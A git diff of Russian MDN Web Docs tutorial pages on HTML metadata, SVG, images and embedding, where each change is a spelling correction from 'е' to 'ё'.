              Один из результатов добавления этих метаданных в том, что когда вы добавите ссылку MDN Web Docs на facebook, она отобразится с изображением и описанием, улучшая опыт взаимодействия (User eXperience, UX).
              
 
-
              Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.У Twitter также есть собственный формат метаданных, с помощью которого  создается аналогичный эффект, при отображении URL сайта на twitter.com:
              
+
              Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.У Twitter также есть собственный формат метаданных, с помощью которого  создаётся аналогичный эффект, при отображении URL сайта на twitter.com:
              
 
 
              <meta name="twitter:title" content="MDN Web Docs">
              
 
@@ -221,7 +221,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML
 
 
              В комментариях указано, для чего используется каждая иконка — например, при добавлении страницы на домашний экран iPad будет использована иконка в высоком разрешении. 
              
 
-
              Не беспокойтесь о реализации всех этих типов значков — это довольно продвинутая функция, и мы не станем возвращаться к ней в курсе. Основная цель — показать вам, что это такое, если вы столкнетесь с ними при просмотре исходного кода других веб-сайтов.
              
+
              Не беспокойтесь о реализации всех этих типов значков — это довольно продвинутая функция, и мы не станем возвращаться к ней в курсе. Основная цель — показать вам, что это такое, если вы столкнётесь с ними при просмотре исходного кода других веб-сайтов.
              
 
 
              Подключение CSS и JavaScript
              
 
@@ -293,7 +293,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML
  
            • Что такое заголовок? Метаданные в HTML
              • 
  
            • Основы редактирования текста в HTML
              • 
  
            • Создание гиперссылок
              • 
- 
            • Углубленное форматирование текста
              • 
+ 
            • Углублённое форматирование текста
              • 
  
            • Структура документа и веб-сайта
              • 
  
            • Отладка HTML
              • 
  
            • Разметка письма
              • 
diff --git a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
index 3d241796d9..e6ce44bb9d 100644
--- a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
@@ -26,7 +26,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
            
  
            
    Цель:
    
-    
            Проверить знания структуры веб-страницы и ее перевода в разметку.
            
+    
            Проверить знания структуры веб-страницы и её перевода в разметку.
            
                		
   
            
              
 
 
 
            
 
 
            
-
            Примечание: Данная статья не научит Вас векторной графике, а даст понимание что это и как ее использовать в веб-документах.
            
+
            Примечание: Данная статья не научит Вас векторной графике, а даст понимание что это и как её использовать в веб-документах.
            
 
            
 
 
            Что такое векторная графика?
            
@@ -34,7 +34,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
            В веб-разработке Вы будете сталкиваться с двумя типами изображений - растровым и векторным:
            
 
 
              
- 
            • Растровое изображение задается сеткой пикселей — файл растрового изображения содержит информацию о расположении и цвете каждого пикселя. Среди популярных форматов изображений данного типа числятся Bitmap (.bmp), PNG (.png), JPEG (.jpg) и GIF (.gif)
              • 
+ 
            • Растровое изображение задаётся сеткой пикселей — файл растрового изображения содержит информацию о расположении и цвете каждого пикселя. Среди популярных форматов изображений данного типа числятся Bitmap (.bmp), PNG (.png), JPEG (.jpg) и GIF (.gif)
              • 
  
            • Векторное изображение  определяется алгоритмом — файл векторного изображения содержит фигуры и правила, по которым компьютер  может вычислить как должно выглядеть изображение, когда выводится на экран.{{glossary("SVG")}} формат позволяет нам создавать векторную графику для использования в веб-документах.
              • 
 
            
 
@@ -56,7 +56,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
 
            SVG это язык на базе {{glossary("XML")}} для описания векторных изображений. По сути это язык разметки, как и HTML, только содержащий множество различных элементов для определения фигур вашего изображения, а также параметров их отображения. SVG предназначен для разметки графики, а не содержимого. В простейшем случае,  Вы можете использовать элементы для создания простых фигур, таких как {{svgelement("circle")}}(круг) и {{svgelement("rect")}}(прямоугольник). Более сложные SVG элементы включают {{svgelement("feColorMatrix")}} (разложение цвета с использованием матрицы), {{svgelement("animate")}} (анимация частей Вашего векторного изображения) и {{svgelement("mask")}} (применение маски к изображению.)
            
 
-
            В качестве простого примера, следующий код создает круг и прямоугольник:
            
+
            В качестве простого примера, следующий код создаёт круг и прямоугольник:
            
 
 
            <svg version="1.1"
      baseProfile="full"
@@ -75,7 +75,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
            Дополнительные преимущества SVG:
            
 
 
              
- 
            • Текст в векторном изображении остается машинописным (то есть доступным для поисковика, что улучшает {{glossary("SEO")}}).
              • 
+ 
            • Текст в векторном изображении остаётся машинописным (то есть доступным для поисковика, что улучшает {{glossary("SEO")}}).
              • 
  
            • SVG легко поддаются стилизации/программированию (scripting), потому что каждый компонент изображения может быть стилизован с помощью CSS или запрограммирован с помощью JavaScript.
              • 
 
            
 
@@ -99,7 +99,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
 
            Быстрый путь: {{htmlelement("img")}}
            
 
-
            Чтобы встроить SVG используя элемент {{htmlelement ("img")}}, вам просто нужно сослаться на него в атрибуте src, как и следовало ожидать. Вам понадобится атрибут height или width (или оба, если ваш SVG не имеет собственного соотношения сторон). Если вы еще этого не делали, пожалуйста, прочтите Изображения в HTML.
            
+
            Чтобы встроить SVG используя элемент {{htmlelement ("img")}}, вам просто нужно сослаться на него в атрибуте src, как и следовало ожидать. Вам понадобится атрибут height или width (или оба, если ваш SVG не имеет собственного соотношения сторон). Если вы ещё этого не делали, пожалуйста, прочтите Изображения в HTML.
            
 
 
            <img
     src="equilateral.svg"
@@ -118,7 +118,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
 
              
  
            • Вы не можете изменять изображение с помощью JavaScript.
              • 
- 
            • Если вы хотите управлять содержимым SVG с помощью CSS, вы должны использовать встроенные CSS стили в своем SVG коде. (Внешние таблицы стилей, вызываемые из файла SVG, не действуют.)
              • 
+ 
            • Если вы хотите управлять содержимым SVG с помощью CSS, вы должны использовать встроенные CSS стили в своём SVG коде. (Внешние таблицы стилей, вызываемые из файла SVG, не действуют.)
              • 
  
            • Вы не можете изменить стиль изображения с помощью псевдоклассов CSS (например :focus).
              • 
 
            
 
@@ -128,7 +128,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Добавление_r_graphi
 
 
            <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg">
            
 
-
            Также вы можете использовать SVG в качестве фоновых изображение CSS, как показано ниже. В приведенном коде ниже старые браузеры будут придерживаться PNG, который они понимают, тогда как новые браузеры будут загружать SVG:
            
+
            Также вы можете использовать SVG в качестве фоновых изображение CSS, как показано ниже. В приведённом коде ниже старые браузеры будут придерживаться PNG, который они понимают, тогда как новые браузеры будут загружать SVG:
            
 
 
            background: url("fallback.png") no-repeat center;
 background-image: url("image.svg");
@@ -140,7 +140,7 @@ background-size: contain;
            
 
 
            Как включить SVG в ваш HTML код
            
 
-
            Вы можете открыть файл SVG в текстовом редакторе, скопировать этот код и вставить его в ваш HTML документ — такой прием иногда называют встраиванием SVG (SVG inline или inlining SVG). Убедитесь, что фрагмент вашего SVG кода начинается и заканчивается с тегов <svg></svg> (не включайте ничего, кроме них). Вот очень простой пример того, что вы можете вставить в ваш документ:
            
+
            Вы можете открыть файл SVG в текстовом редакторе, скопировать этот код и вставить его в ваш HTML документ — такой приём иногда называют встраиванием SVG (SVG inline или inlining SVG). Убедитесь, что фрагмент вашего SVG кода начинается и заканчивается с тегов <svg></svg> (не включайте ничего, кроме них). Вот очень простой пример того, что вы можете вставить в ваш документ:
            
 
 
            <svg width="300" height="200">
     <rect width="100%" height="100%" fill="green" />
@@ -150,7 +150,7 @@ background-size: contain;
            
 
            Плюсы
            
 
 
              
- 
            • Вставка вашего SVG путем SVG inline позволяет сохранить HTTP запросы и, следовательно, может уменьшить время загрузки.
              • 
+ 
            • Вставка вашего SVG путём SVG inline позволяет сохранить HTTP запросы и, следовательно, может уменьшить время загрузки.
              • 
  
            • Вы можете присваивать class-ы и id элементам SVG и стилизовать их при помощи CSS, либо в пределах SVG, либо внутри SVG, либо там, где вы размещаете правила стиля CSS для вашего HTML документа. По факту вы можете использовать любой атрибут представления SVG как свойство CSS.
              • 
  
            • SVG inline единственный метод, который позволяет вам использовать CSS-взаимодействия (как :focus) и CSS-анимацию на вашем SVG изображении (даже в вашей обычной таблице стилей).
              • 
  
            • Вы можете разметить SVG как гиперссылку, обернув в элемент {{htmlelement("a")}}.
              • 
@@ -178,7 +178,7 @@ background-size: contain;
            
     <img src="triangle.png" alt="Triangle with three unequal sides" />
 </iframe>
            
 
-
            Это - определенно не самый лучший метод для выбора:
            
+
            Это - определённо не самый лучший метод для выбора:
            
 
 
            Минусы
            
 
@@ -189,7 +189,7 @@ background-size: contain;
          
 
 
          Активное изучение: поиграйте с SVG
          
 
-
          В этом разделе активного изучения мы бы хотели, чтобы вы просто попробовали поиграть с SVG. Ниже, в области Input, вы увидите, что мы уже предоставили некий пример для того, чтобы вы начали. А еще вы можете посетить SVG Element Reference, чтобы узнать больше деталей о других игрушках, которые могут быть использованы в SVG, и тоже попробовать их. Этот раздел полностью посвящен практике ваших исследовательских навыков и вашему развлечению.
          
+
          В этом разделе активного изучения мы бы хотели, чтобы вы просто попробовали поиграть с SVG. Ниже, в области Input, вы увидите, что мы уже предоставили некий пример для того, чтобы вы начали. А ещё вы можете посетить SVG Element Reference, чтобы узнать больше деталей о других игрушках, которые могут быть использованы в SVG, и тоже попробовать их. Этот раздел полностью посвящён практике ваших исследовательских навыков и вашему развлечению.
          
 
 
          Если Вы где-то застряли и ваш код не работает, Вы всегда можете начать сначала, нажав кнопку Reset.
          
 
@@ -324,7 +324,7 @@ textarea.onkeyup = function(){
 
 
          Заключение
          
 
-
          Эта статья предоставила вам краткий обзор по тому, что такое векторная графика и SVG, почему полезно знать о них и как внедрять SVG в вашу веб-страницу. Эта статья не является полным руководством по изучению SVG, а всего лишь указатель, чтоб вы знали что такое SVG, на случай, если вы встретите его во время странствий по Сети. Так что не переживайте, если вы еще не чувствуете себя экспертом в SVG. Ниже мы включили несколько ссылок, которые могут вам помочь, если вы хотите узнать больше о том, как это работает.
          
+
          Эта статья предоставила вам краткий обзор по тому, что такое векторная графика и SVG, почему полезно знать о них и как внедрять SVG в вашу веб-страницу. Эта статья не является полным руководством по изучению SVG, а всего лишь указатель, чтоб вы знали что такое SVG, на случай, если вы встретите его во время странствий по Сети. Так что не переживайте, если вы ещё не чувствуете себя экспертом в SVG. Ниже мы включили несколько ссылок, которые могут вам помочь, если вы хотите узнать больше о том, как это работает.
          
 
 
          В последней статье этого модуля мы будем исследовать адаптивные изображения в деталях, рассматривая инструменты HTML, которые позволяют делать ваши изображения так, чтоб они могли лучше работать на разных устройствах.
          
 
diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html
index 3dc16ecfd2..c9b088742d 100644
--- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html
@@ -60,7 +60,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM
  
        • пока у вас не будет достаточно доказательств что изображение находится в открытом доступе.
          •
        -

        Нарушение авторских прав является незаконным. Кроме того, никогда не указывайте в своем атрибуте src ссылку на изображение, размещенное на чужом сайте. Это называется "хотлинкинг" (с англ. 'hotlinking' - 'горячая ссылка'). Запомните, кража пропускной способности чужого сайта незаконна. Это также замедляет вашу страницу и не позволяет вам контролировать, будет ли изображение удалено или заменено чем-то неприятным.

        +

        Нарушение авторских прав является незаконным. Кроме того, никогда не указывайте в своём атрибуте src ссылку на изображение, размещённое на чужом сайте. Это называется "хотлинкинг" (с англ. 'hotlinking' - 'горячая ссылка'). Запомните, кража пропускной способности чужого сайта незаконна. Это также замедляет вашу страницу и не позволяет вам контролировать, будет ли изображение удалено или заменено чем-то неприятным.

        Наш код выше даст нам следующий результат:

        @@ -77,7 +77,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM

        Альтернативный текст

        -

        Следующий атрибут, который мы рассмотрим — alt. Его значением должно быть текстовое описание изображения для использования в ситуациях, когда изображение не может быть просмотрено / отображено или отрисовка занимает много времени из-за медленного интернет-соединения. Чтобы продемонстрировать использование атрибута alt на практике, внесем изменения в код из предыдущего примера:

        +

        Следующий атрибут, который мы рассмотрим — alt. Его значением должно быть текстовое описание изображения для использования в ситуациях, когда изображение не может быть просмотрено / отображено или отрисовка занимает много времени из-за медленного интернет-соединения. Чтобы продемонстрировать использование атрибута alt на практике, внесём изменения в код из предыдущего примера:

        <img src="images/dinosaur.jpg"
      alt="Голова и туловище скелета динозавра;
@@ -85,14 +85,14 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM
 
 
        Самый простой способ увидеть атрибут alt в действии — это сделать намеренную ошибку в имени файла. Например, если бы мы написали имя изображения как dinosooooor.jpg, браузер не смог бы его отобразить, и на экране появился бы текст из атрибута alt:
        
 
-
        The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place.Итак, в каких случаях текст из атрибута alt может быть нам полезен? Приведем несколько примеров:
        
+
        The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place.Итак, в каких случаях текст из атрибута alt может быть нам полезен? Приведём несколько примеров:
        
 
 
          
  
        • Пользователь с нарушением зрения использует устройство чтения с экрана, которое может читать вслух описание элементов веб-страницы. На самом деле, наличие текста в атрибуте alt для описания изображения может быть полезно для большинства пользователей.
          • 
  
        • В случае, если была допущена ошибка в имени файла или пути к нему (как было описано выше).
          • 
  
        • Браузер не поддерживает формат данного изображения. Некоторые люди до сих пор используют текстовые браузеры, такие как Lynx, которые вместо изображений отображают текст из атрибута alt.
          • 
  
        • Если вы хотите добавить возможность найти ваше изображение с помощью поисковых систем. Например, поисковые системы могут искать совпадения поисковых запросов с текстом атрибута alt.
          • 
- 
        • Если пользователи отключили отображение изображений на странице для уменьшения объема передаваемых данных и для сокрытия элементов, отвлекающих внимание. Это обычная практика для пользователей мобильных телефонов, а также в странах с маленькой пропускной способностью интернет-каналов и с высокой стоимостью интернет-трафика.
          • 
+ 
        • Если пользователи отключили отображение изображений на странице для уменьшения объёма передаваемых данных и для сокрытия элементов, отвлекающих внимание. Это обычная практика для пользователей мобильных телефонов, а также в странах с маленькой пропускной способностью интернет-каналов и с высокой стоимостью интернет-трафика.
          • 
 
        
 
 
        Что именно вы должны писать в атрибут alt? В первую очередь, это зависит от того, зачем изображение вообще находится на странице. Другими словами, что вы потеряете, если ваше изображение не появится:
        
@@ -100,7 +100,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM
 
          
  
        • Декорация. Вы должны использовать {{anch ("Фоновые изображения CSS")}} для декоративных изображений, но если вы должны использовать HTML, добавьте пустой alt = "". Если изображение служит просто украшением и не является частью содержимого, добавьте пустой alt="". Например, программа чтения с экрана не тратит время на чтение содержимого, которое не является важным для пользователя.
          • 
  
        • Контент. Если ваше изображение содержит важную информацию, передайте ту же информацию через краткий alt. Или даже лучше, в главном тексте, который все увидят. Не используйте alt , если можете обойтись без него. Насколько неудобно было бы для пользователя, если бы параграфы были написаны дважды в главном контенте? Если изображение адекватно описано в основном тексте, можете просто использовать alt="".
          • 
- 
        • Ссылка. Если вы помещаете изображение в {{htmlelement("a")}}, для того, чтобы сделать из него ссылку, вы всё ещё должны использовать четкие формулировки описания ссылок. В таком случае, вы сможете использовать элемент <a>  или атрибут alt . Старайтесь выбрать лучший вариант.
          • 
+ 
        • Ссылка. Если вы помещаете изображение в {{htmlelement("a")}}, для того, чтобы сделать из него ссылку, вы всё ещё должны использовать чёткие формулировки описания ссылок. В таком случае, вы сможете использовать элемент <a>  или атрибут alt . Старайтесь выбрать лучший вариант.
          • 
  
        • Текст. Не пишите текст в изображениях. Если вашему заголовку понадобится тень, то лучше используйте для этого CSS вместо добавления текста в изображение. Однако, если  действительно этого не избежать, то вам следует дополнить текст в атрибуте alt.
          • 
 
        
 
@@ -126,7 +126,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM
 
 
        Это хорошая практика, в результате страница загрузится быстрее и более гладко.
        
 
-
        Однако, вы не должны изменять размеры ваших изображений используя HTML атрибуты. Если вы установите размер изображения слишком большим, то в конечном итоге вы столкнетесь с изображениями, которые выглядят зернистыми, размытыми или слишком маленькими, и потратите трафик для загрузки изображения, которое не будет соответствовать нуждам пользователя. Конечное изображение может также выглядеть искажённым, если вы не сохраните правильное соотношение сторон. Рекомендуется использовать графический редактор для подгонки изображения к нужному размеру, перед вставкой его на вашу веб-страницу.
        
+
        Однако, вы не должны изменять размеры ваших изображений используя HTML атрибуты. Если вы установите размер изображения слишком большим, то в конечном итоге вы столкнётесь с изображениями, которые выглядят зернистыми, размытыми или слишком маленькими, и потратите трафик для загрузки изображения, которое не будет соответствовать нуждам пользователя. Конечное изображение может также выглядеть искажённым, если вы не сохраните правильное соотношение сторон. Рекомендуется использовать графический редактор для подгонки изображения к нужному размеру, перед вставкой его на вашу веб-страницу.
        
 
 
        
 
        Примечание: Если вам действительно нужно изменить размер изображения, вы должны использовать вместо этого CSS.
        
@@ -143,7 +143,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Изображения_в_HTM
      height="341"
      title="A T-Rex on display in the Manchester University Museum">
        -

        Это дает нам всплывающую подсказку при наведении курсора мыши, также как и в ссылках:

        +

        Это даёт нам всплывающую подсказку при наведении курсора мыши, также как и в ссылках:

        The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum

        @@ -241,7 +241,7 @@ window.addEventListener("load", drawOutput);

        Это нормально. Это содержит всё что вам нужно, и красиво стилизуется с помощью CSS. Но, есть проблема: здесь нет ничего, что семантически связывает изображение с его заголовком, и это может вызвать сложности для читателей. Например, когда у вас есть 50 изображений и заголовков, какой заголовок идёт вместе с каким изображением?

        -

        Лучшим решением будет использование элементов HTML5 {{htmlelement("figure")}} и {{htmlelement("figcaption")}}. Они были созданы исключительно для этой цели: предоставить семантический контейнер для рисунков и четко связать рисунок с заголовком. Наш пример выше мог бы быть переписан так:

        +

        Лучшим решением будет использование элементов HTML5 {{htmlelement("figure")}} и {{htmlelement("figcaption")}}. Они были созданы исключительно для этой цели: предоставить семантический контейнер для рисунков и чётко связать рисунок с заголовком. Наш пример выше мог бы быть переписан так:

        <figure>
   <img src="images/dinosaur.jpg"
@@ -262,7 +262,7 @@ window.addEventListener("load", drawOutput);
 
        Тег <figure> не является изображением. Он представляет собой независимый структурный элемент, который: 
        
 
 
          
- 
        • Передает смысл компактным, интуитивно понятным способом.
          • 
+ 
        • Передаёт смысл компактным, интуитивно понятным способом.
          • 
  
        • Может использоваться в различных местах страницы.
          • 
  
        • Предоставляет ценную информацию, поддерживающую основной текст.
          • 
 
        
diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html
index 00ef01d21d..ec9a11491f 100644
--- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html
@@ -64,7 +64,7 @@ original_slug: >-
 
        Если вы хотите, чтобы ваша работа была оценена, или если вы застряли и хотите обратиться за помощью:
        
 
 
          
- 
        1. Поместите свою работу в онлайн-редактор, например CodePen, jsFiddle или Glitch. Вы можете написать код самостоятельно или использовать файлы, ссылки на которые приведены в приведенных выше разделах.
          2. 
+ 
        2. Поместите свою работу в онлайн-редактор, например CodePen, jsFiddle или Glitch. Вы можете написать код самостоятельно или использовать файлы, ссылки на которые приведены в приведённых выше разделах.
          3. 
  
        3. Напишите сообщение с просьбой об оценке и / или помощи в MDN Discourse forum Learning category. Ваш пост должен включать:
   
            
    
          • Описательный заголовок, например "Требуется оценка для проверки навыков 1 по основам изображений HTML".
            • 
diff --git a/files/ru/learn/html/multimedia_and_embedding/index.html b/files/ru/learn/html/multimedia_and_embedding/index.html
index 5926902c75..b2aecfbd25 100644
--- a/files/ru/learn/html/multimedia_and_embedding/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/index.html
@@ -29,9 +29,9 @@ translation_of: Learn/HTML/Multimedia_and_embedding
  
            Далее мы рассмотрим, как использовать элементы HTML5 {{htmlelement ("video")}} и {{htmlelement ("audio")}} для встраивания видео и аудио на наши страницы, включая основы, обеспечивая доступ к различным форматам файлов для разных браузеров, добавление подписей и субтитров, а также как добавить резервные копии для старых браузеров.
            
  
  
            От <object> к <iframe> — другие технологии встраивания
            
- 
            В этом месте мы бы хотели сделать шаг в сторону, чтобы изучить пару элементов, которые позволят встраивать широкий спектр типов контента в ваши веб-страницы: элементы {{htmlelement("iframe")}}, {{htmlelement("embed")}} и{{htmlelement("object")}}. <iframe> используется для встраивания других веб-страниц, а другие два элемента позволяют встраивать PDF, SVG и даже Flash – устаревающая технология, но все еще часто встречаемая.
            
+ 
            В этом месте мы бы хотели сделать шаг в сторону, чтобы изучить пару элементов, которые позволят встраивать широкий спектр типов контента в ваши веб-страницы: элементы {{htmlelement("iframe")}}, {{htmlelement("embed")}} и{{htmlelement("object")}}. <iframe> используется для встраивания других веб-страниц, а другие два элемента позволяют встраивать PDF, SVG и даже Flash – устаревающая технология, но все ещё часто встречаемая.
            
  
            Добавление векторной графики в Веб
            
- 
            Векторная графика может быть очень полезной в определенных ситуациях. В отличие от обычных форматов типа PNG/JPG, она не деформируются/пикселизируются при растяжении, она остаётся гладкой при масштабировании. Эта статья знакомит вас с понятием векторной графики и учит вас встраивать популярный формат {{glossary("SVG")}} в веб-страницы.
            
+ 
            Векторная графика может быть очень полезной в определённых ситуациях. В отличие от обычных форматов типа PNG/JPG, она не деформируются/пикселизируются при растяжении, она остаётся гладкой при масштабировании. Эта статья знакомит вас с понятием векторной графики и учит вас встраивать популярный формат {{glossary("SVG")}} в веб-страницы.
            
  
            Адаптивные изображения
            
  
            
  
            В этой статье мы познакомимся с концепцией адаптивных изображений - изображений, которые хорошо работают на устройствах с сильно различающимися размерами экрана, разрешением и другими подобными характеристиками, и рассмотрим, какие инструменты предоставляет HTML для их реализации. Это помогает повысить производительность различных устройств. Адаптивные изображения - это всего лишь одна часть адаптивного дизайна, будущей темы CSS, которую вы должны изучить.
            
@@ -44,7 +44,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding
 
 
            
  
            Страница приветствия Mozilla
            
- 
            В этой аттестации мы проверим ваши знания по некоторым технологиям, которые обсуждались в статьях этого модуля, заставляя вас добавить несколько изображений и видео на примитивную приветственную страницу, посвященную Mozilla!
            
+ 
            В этой аттестации мы проверим ваши знания по некоторым технологиям, которые обсуждались в статьях этого модуля, заставляя вас добавить несколько изображений и видео на примитивную приветственную страницу, посвящённую Mozilla!
            
 
            
 
 
            Смотри также
            
@@ -54,6 +54,6 @@ translation_of: Learn/HTML/Multimedia_and_embedding
  
            Карта изображения предоставляет способ разделить изображение на части, которые ссылаются на разные места (представьте себе географическую карту, которая показывает подробную информацию о каждой стране, когда вы кликаете на нее.) Эта технология иногда может быть полезной.
            
  
            Основы Веб-грамотности 2
            
  
            
- 
            Превосходный курс от фонда Mozilla, который освещает и проверяет некоторые навыки, полученные в модуле Мультимедиа и встраивание. Погрузитесь глубже в основы верстки веб-страниц, проектирования для доступности, обмена ресурсами, использования интернет-СМИ и работы с открытым кодом.
            
+ 
            Превосходный курс от фонда Mozilla, который освещает и проверяет некоторые навыки, полученные в модуле Мультимедиа и встраивание. Погрузитесь глубже в основы вёрстки веб-страниц, проектирования для доступности, обмена ресурсами, использования интернет-СМИ и работы с открытым кодом.
            
  
            
 
diff --git a/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
index 8cbd9191df..bfb1efb19a 100644
--- a/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
@@ -30,12 +30,12 @@ original_slug: Learn/HTML/Multimedia_and_embedding/заставка_Mozilla
 
            Сохраните изображения из папки originals тем же способом; возможно вы захотите сохранить их в другой папке пока не обработаете (некоторые из них) с помощью графического редактора.
            
 
 
            
-
            Note: Приведенный для примера HTML файл содержит довольно много CSS для стилизации страницы. Вам не нужно изменять CSS, только HTML внутри {{htmlelement("body")}} элемента — пока вы используете корректную разметку, CSS будет придавать правильный внешний вид.
            
+
            Note: Приведённый для примера HTML файл содержит довольно много CSS для стилизации страницы. Вам не нужно изменять CSS, только HTML внутри {{htmlelement("body")}} элемента — пока вы используете корректную разметку, CSS будет придавать правильный внешний вид.
            
 
            
 
 
            Описание проекта
            
 
-
            В этом задании мы представляем вам почти законченный сайт-визитку Mozilla, цель которого - рассказать что-нибудь интересное о принципах Mozilla и предоставить несколько ссылок для углубленного ознакомления. К сожалению, изображения или видео не добавлены - это ваша работа! Вам нужно добавить несколько медиа-файлов для того, чтобы страница смотрелась лучше и имела больше смысла. В следующих подразделах подробно объяснено, что вам требуется сделать:
            
+
            В этом задании мы представляем вам почти законченный сайт-визитку Mozilla, цель которого - рассказать что-нибудь интересное о принципах Mozilla и предоставить несколько ссылок для углублённого ознакомления. К сожалению, изображения или видео не добавлены - это ваша работа! Вам нужно добавить несколько медиа-файлов для того, чтобы страница смотрелась лучше и имела больше смысла. В следующих подразделах подробно объяснено, что вам требуется сделать:
            
 
 
            Подготовка изображений
            
 
@@ -77,7 +77,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/заставка_Mozilla
 
            Note: Для проверки правильности работы srcset/sizes , вам нужно загрузить ваш сайт на сервер (используйте Github pages - простое и бесплатное решение). Затем  вы сможете проверить правильность их работы используя инструменты разработчика в браузере, как описано в Responsive images: useful developer tools.
            
 
 
-
            Искусственно измененная красная панда
            
+
            Искусственно изменённая красная панда
            
 
 
            Внутри элемента {{htmlelement("div")}} с классом red-panda, мы хотим поместить элемент {{htmlelement("picture")}} , который использует маленькое портретное изображение панды, если экран меньше или равен 600px, либо большое фоновое изображение.
            
 
diff --git a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
index 6963f6a873..5baed457cc 100644
--- a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
@@ -38,7 +38,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies
 
 
              
  
            1. Сначала перейдите на Youtube и найдите понравившееся вам видео.
              2. 
- 
            2. Под видео вы найдете кнопку «Поделиться» - нажмите, чтобы отобразить параметры совместного доступа.
              3. 
+ 
            3. Под видео вы найдёте кнопку «Поделиться» - нажмите, чтобы отобразить параметры совместного доступа.
              4. 
  
            4. Выберите кнопку «Вставить», и вам будет предоставлен код <iframe> - скопируйте его.
              5. 
  
            5. Вставьте его в поле ввода ниже и посмотрите на результат в Output.
              6. 
 
            
@@ -53,7 +53,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies
  
          • Вставьте его в поле ввода ниже и посмотрите на результат в Output.
            • 
 
        
 
-
        Если вы допустили ошибку, вы всегда можете сбросить ее с помощью кнопки «Сброс». Если вы действительно застряли, нажмите кнопку «Показать решение», чтобы увидеть ответ.
        
+
        Если вы допустили ошибку, вы всегда можете сбросить её с помощью кнопки «Сброс». Если вы действительно застряли, нажмите кнопку «Показать решение», чтобы увидеть ответ.
        
 
 
 
-
        Быстрый пример - попробуйте загрузить предыдущий пример, который мы показали выше, в ваш браузер (вы можете найти его живой пример на Github (см. Также исходный код). На самом деле, вы ничего не увидите на странице, т.к. если вы посмотрите в консоль в инструментах разработчика браузера, вы увидите сообщение, объясняющее вам, почему. В Firefox вы получите сообщение «Отказано в доступе» в связи с X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary не разрешает кадрирование. Это связано с тем, что разработчики, которые построили MDN, включили параметр на сервере, который обслуживает страницы веб-сайта, запрещая им внедряться внутри <iframe> (см. {{Anch ("Настройка директивы CSP")}} ниже). Суть здесь такова - целой странице MDN на самом деле нет смысла встраиваться в другие страницы - конечно, если вы не хотите сделать что-то вроде встраивания их на свой сайт и выставлять их как свои собственные; или пытаться украсть данные с помощью clickjacking, что очень плохо. Плюс, если все начнут это делать, вся дополнительная пропускная способность начнет стоить Mozilla больших денег.
        
+
        Быстрый пример - попробуйте загрузить предыдущий пример, который мы показали выше, в ваш браузер (вы можете найти его живой пример на Github (см. Также исходный код). На самом деле, вы ничего не увидите на странице, т.к. если вы посмотрите в консоль в инструментах разработчика браузера, вы увидите сообщение, объясняющее вам, почему. В Firefox вы получите сообщение «Отказано в доступе» в связи с X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary не разрешает кадрирование. Это связано с тем, что разработчики, которые построили MDN, включили параметр на сервере, который обслуживает страницы веб-сайта, запрещая им внедряться внутри <iframe> (см. {{Anch ("Настройка директивы CSP")}} ниже). Суть здесь такова - целой странице MDN на самом деле нет смысла встраиваться в другие страницы - конечно, если вы не хотите сделать что-то вроде встраивания их на свой сайт и выставлять их как свои собственные; или пытаться украсть данные с помощью clickjacking, что очень плохо. Плюс, если все начнут это делать, вся дополнительная пропускная способность начнёт стоить Mozilla больших денег.
        
 
 
